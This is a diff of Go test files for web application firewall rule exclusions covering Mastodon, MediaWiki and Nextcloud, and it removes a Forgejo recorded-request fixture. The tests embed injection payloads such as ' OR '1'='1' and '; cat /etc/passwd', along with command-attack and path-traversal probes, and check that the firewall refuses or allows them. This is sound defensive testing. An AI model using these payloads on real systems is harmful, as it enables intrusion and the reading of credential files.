r,
fmt.Sprintf(sent.field, quoted),
)
return got.Score return got.Score
} }
@@ -339,11 +270,7 @@ func mastodonScores(
} }
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) { for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm( scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
t,
sent,
value,
)
} }
unescaped, err := url.QueryUnescape(value) unescaped, err := url.QueryUnescape(value)
@@ -352,11 +279,7 @@ func mastodonScores(
} }
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) { for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON( scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
t,
sent,
unescaped,
)
} }
return scores return scores
@@ -393,11 +316,8 @@ func TestMastodonPasswordsPass(t *testing.T) {
t.Run("JSON", func(t *testing.T) { t.Run("JSON", func(t *testing.T) {
t.Parallel() t.Parallel()
r := request{ r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
mastodonPasswordJSON.method, []string{jsonBody}}
mastodonPasswordJSON.target,
[]string{jsonBody},
}
wantRandomPasswordsPass(t, r, "password") wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password") wantPasswordAttacksPass(t, r, "password")
@@ -412,16 +332,8 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{ wantPasswordFieldsPass(t, []passwordFields{
{"/auth/challenge", formData, challenge}, {"/auth/challenge", formData, challenge},
{ {"/settings/two_factor_authentication/otp_authentication", formData, challenge},
"/settings/two_factor_authentication/otp_authentication", {"/settings/two_factor_authentication_methods/disable", formData, challenge},
formData,
challenge,
},
{
"/settings/two_factor_authentication_methods/disable",
formData,
challenge,
},
}) })
} }
@@ -596,11 +508,7 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
{mastodonReport, "false"}, {mastodonReport, "false"},
{mastodonForwardedReport, "remote.example"}, {mastodonForwardedReport, "remote.example"},
} { } {
report := mastodonBodyField{ report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
http.MethodPost,
mastodonReports,
sent.body,
}
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold { if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
t.Errorf("%v refused: %d", report, got) t.Errorf("%v refused: %d", report, got)
} }
@@ -664,20 +572,12 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
} }
// Elsewhere both keep the two rules. // Elsewhere both keep the two rules.
signIn := mastodonBodyField{ signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
http.MethodPost,
mastodonSignIn,
mastodonUsername.field,
}
if mastodonForm(t, signIn, "python3") < mastodonThreshold { if mastodonForm(t, signIn, "python3") < mastodonThreshold {
t.Errorf("%v let through", signIn) t.Errorf("%v let through", signIn)
} }
statuses := mastodonBodyField{ statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
http.MethodPost,
mastodonStatuses,
mastodonHashtag.field,
}
if mastodonJSON(t, statuses, "python3") < mastodonThreshold { if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
t.Errorf("%v let through", statuses) t.Errorf("%v let through", statuses)
} }
@@ -717,11 +617,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
// Elsewhere the address keeps every rule. // Elsewhere the address keeps every rule.
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} { for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail} sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
if mastodonForm( if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
t,
sent,
"python3%40example.com",
) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
} }
+13 -69
View File
@@ -221,13 +221,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+attack) got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
"POST %s %s%s let through: %+v",
sent.target,
sent.field,
attack,
got,
)
} }
} }
} }
@@ -237,11 +231,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
scriptTag, scriptTag,
} { } {
for _, field := range []string{"source", "comment"} { for _, field := range []string{"source", "comment"} {
r := request{ r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
http.MethodPut,
mediawikiRESTPage,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}` body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -280,31 +270,15 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype}, {"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
{mediawikiSignIn + "&" + loginContinue, formData, retype}, {mediawikiSignIn + "&" + loginContinue, formData, retype},
{mediawikiAccountChange + "?" + changeAction, formData, change}, {mediawikiAccountChange + "?" + changeAction, formData, change},
{ {mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
mediawikiAccountChange + subpage + "?" + changeAction, {"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
formData,
change,
},
{
"/index.php/Special:ChangeCredentials?" + changeAction,
formData,
change,
},
{ {
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction, "/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
formData, change, formData, change,
}, },
{ {"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
formData,
change,
},
// A German wiki's names for the same pages. // A German wiki's names for the same pages.
{ {"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
formData,
retype,
},
{ {
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue, "/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
formData, retype, formData, retype,
@@ -345,12 +319,7 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
body := formBody(sent.name, "' OR '1'='1") body := formBody(sent.name, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold { if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
"POST %s %s let through: %+v",
sent.target,
sent.name,
got,
)
} }
} }
} }
@@ -381,9 +350,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
targets := append( targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
[]string{"/load.php?modules="},
mediawikiQueryFields...)
for _, target := range targets { for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack)) got := inspect(t, crs, get(target+mediawikiCommandAttack))
@@ -400,12 +367,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
"POST %s %s let through: %+v",
sent.target,
sent.field,
got,
)
} }
} }
@@ -420,11 +382,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it // wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends // holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once. // it once.
r = request{ r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
for _, attack := range []string{ for _, attack := range []string{
mediawikiCommandAttack, mediawikiCommandAttack,
@@ -470,13 +428,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value) got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold { if got.Score >= mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
} }
} }
@@ -492,11 +444,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
} }
// A watchlist holds the title on its second line, as recorded. // A watchlist holds the title on its second line, as recorded.
r := request{ r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes" body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
@@ -569,11 +517,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"}, {"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"}, {mediawikiAPI + "?action=edit", "text=python3"},
} { } {
r := request{ r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
http.MethodPost,
sent.target + "&" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field) got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
+27 -154
View File
@@ -107,12 +107,7 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPut, nextcloudUsers + "/admin", http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`, jsonBody, `{"key":"headline","value":"%s"}`,
}, },
{ {http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
http.MethodPost,
"/ocs/v2.php/cloud/groups",
jsonBody,
`{"groupid":"%s"}`,
},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
@@ -120,42 +115,17 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPost, "/apps/theming/ajax/updateStylesheet", http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`, jsonBody, `{"setting":"slogan","value":"%s"}`,
}, },
{ {http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
http.MethodPost, {http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
nextcloudSave,
jsonBody,
`{"filePath":"/%s/Readme.md"}`,
},
{
http.MethodPost,
"/remote.php/dav/systemtags/",
jsonBody,
`{"name":"%s"}`,
},
{ {
nextcloudSearch, "/remote.php/dav/", xmlBody, nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` + `<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` + `<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`, `</d:like></d:where></d:basicsearch></d:searchrequest>`,
}, },
{ {nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
nextcloudMkcol, {nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
nextcloudCalendars + "work", {nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcol,
nextcloudAddressBooks + "team",
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcalendar,
nextcloudCalendars + "work/",
xmlBody,
nextcloudNewCalendar,
},
} }
// The WebDAV methods that make a calendar or an address book. // The WebDAV methods that make a calendar or an address book.
@@ -217,12 +187,7 @@ var nextcloudDocument = nextcloudBody{
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{ var nextcloudTexts = []nextcloudBody{
nextcloudDocument, nextcloudDocument,
{ {http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
http.MethodPost,
"/remote.php/dav/comments/files/1",
jsonBody,
`{"message":"%s"}`,
},
{ {
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody, nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` + `<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
@@ -230,12 +195,7 @@ var nextcloudTexts = []nextcloudBody{
`</d:propertyupdate>`, `</d:propertyupdate>`,
}, },
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{ {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
http.MethodPost,
nextcloudShares,
jsonBody,
`{"path":"/Notes","note":"%s"}`,
},
{ {
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1", http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s", formData, "note=%s",
@@ -263,10 +223,7 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
// nextcloudBodyScore returns the request that sends value, which is not // nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it. // escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore( func nextcloudBodyScore(
t *testing.T, t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
crs *coreruleset.CoreRuleSet,
sent nextcloudBody,
value string,
) (string, int) { ) (string, int) {
t.Helper() t.Helper()
@@ -301,11 +258,7 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
scores := map[string]int{} scores := map[string]int{}
for _, target := range nextcloudQueryFields { for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect( scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
t,
crs,
get(target+value),
).Score
} }
for _, sent := range nextcloudFormFields { for _, sent := range nextcloudFormFields {
@@ -397,23 +350,11 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
{"/apps/user_ldap/renewpassword", formData, change}, {"/apps/user_ldap/renewpassword", formData, change},
{"/index.php/apps/user_ldap/renewpassword", formData, change}, {"/index.php/apps/user_ldap/renewpassword", formData, change},
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change}, {"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{ {"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
formData,
change,
},
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery}, {"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{ {"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
"/index.php/apps/encryption/ajax/changeRecoveryPassword",
formData,
recovery,
},
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery}, {"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{ {"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
"/index.php/apps/encryption/ajax/adminRecovery",
formData,
adminRecovery,
},
{"/login/confirm", jsonBody, password}, {"/login/confirm", jsonBody, password},
{"/index.php/login/confirm", formData, password}, {"/index.php/login/confirm", formData, password},
{"/lostpassword/set/AbCdEf/alice", jsonBody, password}, {"/lostpassword/set/AbCdEf/alice", jsonBody, password},
@@ -468,12 +409,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, jsonPassword("; cat /etc/passwd")}, {jsonRequest, jsonPassword("; cat /etc/passwd")},
} { } {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
t.Errorf( t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
"%s %.40s refused: %+v",
sent.r.headers[0],
sent.body,
got,
)
} }
} }
@@ -488,12 +424,7 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`}, {jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
} { } {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold { if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
t.Errorf( t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
"%s %.40s let through: %+v",
sent.r.headers[0],
sent.body,
got,
)
} }
} }
@@ -521,12 +452,7 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
document := "Backup steps:\n\n" + nextcloudCodeBlock document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore( request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
t,
readingBodies(t),
nextcloudDocument,
document,
)
if score >= nextcloudThreshold { if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
@@ -573,10 +499,7 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
cookie := func(value string) request { cookie := func(value string) request {
return get( return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
"/apps/files/",
"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
)
} }
for _, value := range hardValues { for _, value := range hardValues {
@@ -633,40 +556,20 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
// MKCALENDAR only where the calendars are. // MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} { for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult( wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(),
)
} }
for _, target := range []string{ for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/", nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/", "/x/remote.php/dav/calendars/",
} { } {
wantResult( wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(911100),
)
} }
// PROPFIND, and no other WebDAV method, where a client asks for them. // PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} { for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult( wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
t, wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
crs,
request{nextcloudPropFind, target, nil},
matched(),
)
wantResult(
t,
crs,
request{nextcloudMkcol, target, nil},
matched(911100),
)
} }
other := request{nextcloudPropFind, "/.well-known/other", nil} other := request{nextcloudPropFind, "/.well-known/other", nil}
@@ -700,12 +603,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
} { } {
sent := described.sent sent := described.sent
request, score := nextcloudBodyScore( request, score := nextcloudBodyScore(t, crs, sent, described.description)
t,
crs,
sent,
described.description,
)
if score >= nextcloudThreshold { if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score) t.Errorf("%s refused: %d", request, score)
} }
@@ -727,12 +625,7 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
// An MKCOL on the calendars' paths skips only the rules for names. // An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/" sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore( request, score = nextcloudBodyScore(t, crs, sent, described.description)
t,
crs,
sent,
described.description,
)
if score < nextcloudThreshold { if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score) t.Errorf("%s let through: %d", request, score)
} }
@@ -768,10 +661,7 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"}, []string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
}, },
} { } {
if got := inspect(t, crs, refused); !slices.Contains( if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
got.RuleIDs,
920530,
) {
t.Errorf("%s %s %q let through: %+v", t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got) refused.method, refused.target, refused.headers, got)
} }
@@ -812,12 +702,7 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
} { } {
got, _ := inspectBody(t, crs, refused, upload.body) got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold { if got.Score < nextcloudThreshold {
t.Errorf( t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
"%s %s let through: %+v",
refused.method,
refused.target,
got,
)
} }
} }
} }
@@ -828,13 +713,7 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
methods := []string{ methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
http.MethodGet,
http.MethodPut,
nextcloudPropFind,
"MOVE",
"LOCK",
}
for _, method := range methods { for _, method := range methods {
for _, target := range []string{ for _, target := range []string{
@@ -922,13 +801,7 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body) got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold { if got.Score < nextcloudThreshold {
t.Errorf( t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
"%s %s %s let through: %+v",
sent.method,
sent.target,
sent.body,
got,
)
} }
} }
} }
+2 -24
View File
@@ -125,14 +125,11 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
t.Errorf("%s %s refused: %+v", r.method, r.target, got) t.Errorf("%s %s refused: %+v", r.method, r.target, got)
} }
typed := slices.ContainsFunc( typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
recorded.Headers,
func(header string) bool {
name, _, _ := strings.Cut(header, ":") name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type") return strings.EqualFold(name, "Content-Type")
}, })
)
if recorded.Body == "" && !typed { if recorded.Body == "" && !typed {
return return
} }
@@ -152,25 +149,6 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
wantRecordedRequestsPass(t, "drupal-requests.txt") wantRecordedRequestsPass(t, "drupal-requests.txt")
} }
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
// defaults only. While bodies are read, the Core Rule Set still refuses the
// file and branch names some of them carry in a form or JSON body, as it does
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
r := request{recorded.Method, recorded.Target, recorded.Headers}
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
}
}
func TestOrdinaryMastodonRequestsPass(t *testing.T) { func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
-683
View File
@@ -1,683 +0,0 @@
# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
# signed out, signed in and on the admin pages, by git over HTTP, by curl on
# the API and the generic package registry, and by crane on the container
# registry. Each line is one request as JSON. Names, addresses and passwords
# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
# multipart part that is not text is written as base64.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
